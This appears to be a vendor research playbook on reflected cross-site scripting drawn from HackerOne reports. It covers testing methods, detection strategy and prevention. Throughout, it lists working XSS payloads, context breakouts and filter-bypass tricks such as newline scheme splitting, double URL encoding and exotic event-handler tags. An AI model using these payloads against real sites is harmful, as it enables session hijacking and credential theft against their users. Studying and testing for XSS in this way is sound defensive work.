scanrub
Reflected Cross-Site Scripting

Reflected Cross-Site Scripting

5 min read 481 reports analyzed ScanRub Research
Share
Live Playground · Powered by this research
XSS Payload Preview
Raw (unencoded)
<svg/onload=alert(1)>
Dangerous if reflected without encoding
HTML entity encoded
&lt;svg/onload=alert(1)&gt;
Safe when output to HTML body
Attribute encoded
&#60;svg/onload=alert(1)&#62;
Safe when output to HTML attribute
JavaScript string escaped
\x3csvg\x2fonload=alert(1)\x3e
Safe inside a JS string context
Rule of thumb: encode output based on where it's going. HTML body ≠ HTML attribute ≠ JavaScript string ≠ CSS ≠ URL. Wrong context = XSS.
Payloads from this research (10 total)
<svg/onload=alert(1)>
<svg onload=alert(1)>
"><svg/onload=alert(1)>
"><img src=x onerror=alert(document.domain)>
These payloads were synthesized from real HackerOne disclosures. Click any payload to copy it, then paste it into the tester above to see how our detection classifies it.

Summary

Reflected XSS lets an attacker inject a script through a request parameter that's echoed back unescaped, running in the victim's browser via a crafted link. Reflected XSS reports cluster around four reflection contexts:

  • HTML body - payload reflected raw inside <body>/<div> with no encoding, classic <svg/onload=alert(1)>
  • HTML attribute - value reflected inside an attribute, broken with "><payload>
  • JavaScript string - value reflected inside a JS variable, broken with ';alert(1);//
  • URL/href - value reflected inside an anchor href or location.replace, exploited with javascript:alert(1) (or carriage-return tricks ja\r\nvascript:). The big bypass tricks: WAF evasion via newline tricks (\r\n in href), base64-encoded location.hash, mixed-case tags, double-URL-encoding, SVG with onload=, polyglots, encoded brackets, and using document.location mutation. Asset patterns: search forms (q, keyword, query, search), error pages reflecting path/method, hidden parameters discovered via parameter mining, OAuth callback echo, login forms reflecting username on error.
◈ flow diagram
Attacker Pay…Vulnerable P…Server Proce…HTML ResponseVictim BrowserScript Execu…
◈ chart
Critical
38
High
120
Medium
202
Low
120

Top Affected Components / Targets

  • Search endpoints reflecting query string in results
  • Error pages reflecting path / method / parameter values
  • Login forms reflecting username on failed login
  • Filter / sort / pagination parameters in listings
  • Hidden parameters mined via param-miner / Arjun
  • OAuth callback / SSO endpoints echoing state or code
  • URL-aware features: redirect param, return_to, next, callback
  • Legacy ColdFusion / ASP / PHP search pages
  • WordPress-based sites with custom plugins reflecting query args
  • Drupal node.js search reflecting entire path

Common Attack Vectors

  • Inject <script>alert(1)</script> into every URL parameter and observe reflection
  • Inject <svg/onload=alert(1)> to bypass naive <script> filters
  • Inject "><img src=x onerror=alert(1)> to break out of attribute context
  • Inject ';alert(1);// to break out of JS string context
  • Inject javascript:alert(1) into href / src / location parameters
  • Use ja\r\nvascript:alert(1) to bypass URL-scheme allowlist (newline trick)
  • Use double URL encoding %253Cscript%253E``
  • Use mixed case <ScRipT>, exotic tags <details ontoggle=>, <marquee onstart=>``
  • Inject into path: /page/<svg/onload=alert(1)> for path-reflection bugs
  • Submit hidden parameters discovered through wordlist / param-miner

Common Payloads

  • <svg/onload=alert(1)>
  • <svg onload=alert(1)>
  • "><svg/onload=alert(1)>
  • "><img src=x onerror=alert(document.domain)>
  • <img src=x onerror=alert(1)>
  • javascript:alert(1)
  • ja%0d%0avascript:alert(1)
  • ';alert(1);//
  • </script><svg/onload=alert(1)>
  • <a+href="ja%0a%0Dvascript:alert(document.domain)">Click</a>

Detection Strategy

Tools like Dalfox handle the canonical case of reflected XSS well on their own, but disclosed reports consistently point to two gaps that a straightforward parameter scan misses: hidden parameters and path reflection. A parameter-mining pass, run against every URL with at least one parameter using a wordlist of commonly hidden names (q, query, search, keyword, term, name, page, ref, callback, return, next, redirect, debug, cmd, and similar), surfaces candidates that a standard scan never tries; anything that changes the response length or status is worth testing further. Path reflection is worth checking separately: replacing the last path segment with a unique token, and again with a payload like <svg/onload>, and watching whether either comes back unencoded, catches bugs that live outside the query string entirely. Header reflection is another common gap: injecting a unique token into headers that are often echoed back, such as Referer, User-Agent, X-Forwarded-Host, Host, Origin, and Accept-Language, and checking the response body for it. Once reflection is confirmed, classifying exactly where it lands (HTML body, an attribute, a JavaScript string, or a URL) makes it possible to pick the right breakout payload for that specific context, which cuts down on false positives from reflections that are actually encoded safely. When an initial payload gets blocked but reflection still exists, a bypass library covering SVG/onload, exotic tags like marquee/onstart or details/ontoggle, mixed case, scheme-newline tricks, and double URL encoding often gets past naive filters. Confidence rises with each successful bypass variant that lands.

Tip: Testing tools that run these checks in parallel across every discovered endpoint can cut the time required substantially compared to fully manual testing, as long as they confirm findings with more than one signal to keep the false-positive rate down.

False-Positive Notes

  • Reflection alone isn't XSS - the response context must allow code execution.
  • Many sites encode <, >, " but still reflect single quotes inside JS strings; the context-aware payload picker handles this.
  • WAF-block responses often look like 200 OK with a generic page - ensure the response body actually contains the injected token before flagging.
  • CSP can prevent execution even when reflection exists; CSP-blocked findings should be downgraded to 'CSP-mitigated XSS' (medium) rather than 'XSS' (high).

How to Test

Manual Testing Methodology

Here is a systematic approach to identifying Reflected Cross-Site Scripting vulnerabilities in a target application.

Step 1: Reconnaissance and Surface Mapping

Before testing, map all input vectors that could be affected. Identify parameters, headers, cookies, and request bodies that interact with the vulnerable component. A proxy such as Burp Suite or OWASP ZAP, paired with normal browsing of the target, is usually enough to build this list.

Step 2: Baseline Request

Send a legitimate request and record the normal response: status code, content length, response time, and any identifying tokens. This baseline matters because it's what you'll compare later responses against once payloads are involved.

Step 3: Payload Injection

Inject test payloads into each identified input vector one at a time. Start with benign detection payloads before escalating to anything that could actually trigger the vulnerability. For Reflected Cross-Site Scripting specifically, inject a unique, easily-searchable marker string into every parameter first to map which ones reflect at all, then follow up on the reflecting ones with context-appropriate breakout payloads — "><svg/onload= for an HTML/attribute context, ';alert(1);// for a JavaScript string context, javascript: for a URL context.

Step 4: Response Analysis

Compare the response against your baseline, looking specifically for whether the marker or payload comes back unencoded and in an executable position — a reflected < that renders as &lt; in the page source is evidence of correct encoding, not a finding, no matter how the marker itself looks in a diff.

Step 5: Confirmation

Once a potential vulnerability is detected, confirm it with at least a few independent test cases to rule out coincidence. Document the exact request and response as proof. For Reflected Cross-Site Scripting, a confirmed finding typically means showing that attacker-controlled input changes the application's behavior in a way that matters for security, not just that a payload was reflected somewhere harmless.

Real-World Impact

Real-World Impact

Cross-site scripting lets attackers execute arbitrary JavaScript in a victim's browser, effectively hijacking their authenticated session. This leads to session token theft, credential harvesting through fake login forms, cryptocurrency mining in the browser, defacement, and in social platforms, worm-like propagation from one infected profile to the next.

Stored XSS is particularly severe because it can affect every user who views the poisoned content, meaning a single injection point can compromise thousands of sessions at once. It's also frequently chained with CSRF to perform administrative actions or exfiltrate internal data once an attacker has script execution in an authenticated context.

XSS remains one of the most commonly reported vulnerability classes across web applications of every size, which is part of why it still shows up so often in disclosed reports despite being well understood.

Prevention & Remediation

Prevention and Secure Coding

Preventing Reflected Cross-Site Scripting takes a defense-in-depth approach — no single control below is sufficient alone, but together they close off both the primary path and the most common bypasses.

Context-aware output encoding. Encode output for the exact context it lands in — HTML body, HTML attribute, JavaScript string, or URL — at render time, not once globally; the same value needs different encoding depending on where it's placed.

Auto-escaping frameworks. Modern templating and component frameworks (React, Vue, Angular) escape output by default — the actual risk concentrates in the explicit escape hatches (dangerouslySetInnerHTML, v-html, [innerHTML]) that bypass that protection, so audit those call sites specifically.

Content-Security-Policy. A script-src CSP built on nonces or hashes (not unsafe-inline) stops injected inline scripts from executing even if a payload gets through the encoding layer.

Allowlist sanitization for rich text. Where users are meant to submit formatted content, sanitize it server-side with an allowlist HTML sanitizer, not a denylist regex — denylists are reliably bypassable.

Cookie flags as a backstop. HttpOnly on session cookies limits the blast radius of a successful injection by keeping the token out of reach of document.cookie even if script execution succeeds.

Source reports

A sample of the disclosed HackerOne reports this playbook was synthesized from.

Frequently Asked Questions

What is Reflected Cross-Site Scripting?
Reflected XSS lets an attacker inject a script through a request parameter that's echoed back unescaped, running in the victim's browser via a crafted link.
How common is Reflected Cross-Site Scripting in bug bounty reports?
Scanrub's research corpus for this playbook is built from 481 disclosed HackerOne reports in this category, synthesized for detection and prevention guidance rather than reproduced verbatim.
How do I test for Reflected Cross-Site Scripting?
Map every input vector, record a baseline response, then inject targeted test payloads one field at a time and compare the response for timing, length, error, or reflection differences from that baseline. The "How to Test" section above walks through the full methodology for this specific vulnerability class.
What is the single most effective fix for Reflected Cross-Site Scripting?
Encode output for its exact rendering context (HTML, attribute, JS string, or URL) at render time, and back it with a nonce- or hash-based CSP so an injected inline script still can't execute.
Weekly security research

New vulnerability playbooks, tool updates, and bug bounty insights - delivered to your inbox. No spam.

Unsubscribe anytime. We respect your inbox.
Press ⌘K to search×